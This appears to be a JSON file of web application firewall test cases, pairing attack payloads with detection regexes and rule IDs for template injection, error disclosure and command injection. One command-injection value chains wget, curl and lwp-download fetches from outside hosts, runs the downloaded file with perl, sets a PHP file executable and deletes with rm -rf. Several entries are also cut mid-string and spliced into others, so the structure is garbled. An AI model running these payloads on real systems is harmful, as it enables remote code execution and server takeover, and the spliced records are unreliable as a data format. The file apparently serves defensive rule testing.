"part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:{%[^%}]*%}|<%=?[^%>]*%>)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssti", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934180", "test_description": "SSTI attack - Using Curly Braces Plus Percentage Sign" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%3c%25%20%69%66%20%54%72%75%65%20%25%3e%34%39%3c%25%20%65%6e%64%69%66%20%25%3e" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:{%[^%}]*%}|<%=?[^%>]*%>)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssti", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934180", "test_description": "SSTI attack - Using Angle Brackets and Percentage Sign" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%3c%25%3d%20%69%66%20%54%72%75%65%20%25%3e%34%39%3c%25%20%65%6e%64%69%66%20%25%3e" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:{%[^%}]*%}|<%=?[^%>]*%>)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssti", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934180", "test_description": "SSTI attack - Using Angle Brackets, Percentage Sign, and Equal Sign" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"ViewStateException: Invalid viewstate detected.\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "asp-dotnet-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "950150", "test_description": "ASP.NET ViewStateException" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"HttpRequestValidationException: A potentially dangerous Request.Form value was detected.\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "asp-dotnet-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "950150", "test_description": "ASP.NET HttpRequestValidationException" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"HttpCompileException: Compilation error occurred while processing the request.\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "asp-dotnet-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "950150", "test_description": "ASP.NET HttpCompileException" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"HttpParseException: Error parsing the HTTP request.\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "asp-dotnet-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "950150", "test_description": "ASP.NET HttpParseException" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"HttpUnhandledException: An unexpected error occurred.\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "asp-dotnet-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "950150", "test_description": "ASP.NET HttpUnhandledException" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"HttpRequestWrapper: Error handling HTTP request wrapper.\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "asp-dotnet-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "950150", "test_description": "ASP.NET HttpRequestWrapper" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"HttpServerUtilityWrapper: Error handling server utility wrapper.\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "asp-dotnet-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "950150", "test_description": "ASP.NET HttpServerUtilityWrapper" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"HttpSessionStateWrapper: Error handling session state wrapper.\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "asp-dotnet-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "950150", "test_description": "ASP.NET HttpSessionStateWrapper" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"HttpStaticObjectsCollectionWrapper: Error handling static objects collection wrapper.\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "asp-dotnet-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "950150", "test_description": "ASP.NET HttpStaticObjectsCollectionWrapper" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Maximum allowed file size is 10 MB" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "php-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "953100", "test_description": "'File size is' leads to FPs, it should not match at PL1" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Invalid date selected" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "php-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "953100", "test_description": "'Invalid date' Wordpress FP, it should not match at PL1" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "please review the function" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "php-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "953100", "test_description": "'The function' might lead to FPs, it should not match at PL1" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "This is a static function" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "php-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "953100", "test_description": "'Static function' might lead to FPs, it should not match at PL1" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Field cannot be empty." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "php-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "953100", "test_description": "'cannot be empty is too common for PL1 GH isue #3399" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)<\\?(?:=|php)?\\s+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "953120", "test_description": "Just something that returns \"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)<\\?(?:=|php)?\\s+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "953120", "test_description": "Positive test, returns \"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)<\\?(?:=|php)?\\s+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "953120", "test_description": "Case insensitive test p3.txt;perl%20p.txt;%20perl%20p2.txt;perl%20p3.txt;rm%20-rf" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||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)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "System Command Injection (932230) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=http://ricky.ilmerlodellarocca.com/upload.php;lwp-download%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;wget%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;curl%20-O%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;%20appa.jpg;perl%20appa.jpg;rm%20-rf%20appa.jpg;wget%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;curl%20-O%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;lwp-download%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;mv%20ca.php%20ca.php;chmod%20755%20ca.php" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(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:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "System Command Injection (932230) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=Something+true+positive+%26%238222%3BThe+Title%26%238221%3B.+After+space+or+new+line+more+characters" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\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\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "True Positive Fix Test 1 ISO-8859-2, ISO-8859-3, ISO-8859-4, ISO-8859-5, ISO-8859-6, ISO-8859-7, ISO-8859-8, ISO-8859-10, ISO-8859-14, ISO-8859-15 are affected because the chars are encoded as decimal html %26%238222%3B and %26%238221%3B entities" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=Something+%26%238222%3BThe+Title%26%238221%3B.%0D%0AThis+is+the+new+line.+After+it+more+characters%0D%0AAnd+the+3rd+line+goes+here" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9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\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Like 932230-3 but instead of space sign using new line sign" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=Another+entity+and+the+dot+after+it+and+space+%26%239977%3B.+and+more." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\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?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Another html entity - decimal 9977 (person with ball) with space sign after entity and dot" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=Euro+entity+%26%238364%3B.%0D%0Aand+the+new+line+after+entity+and+dot" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*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*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Another html entity - decimal 128 (euro) with new line sign after entity and dot" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=;top+Something+else+1+%26%238222%3BThe+Title%26%238221%3B.+After+space+or+new+line+more+characters" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(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[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*)|g[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "arg value of \";ifconfig Something „The Title”. After space or new line more characters\" is blocked" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=Something+else+2+%26%238222%3BThe+Title%26%238221%3B.+After+%3Btop+something" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { 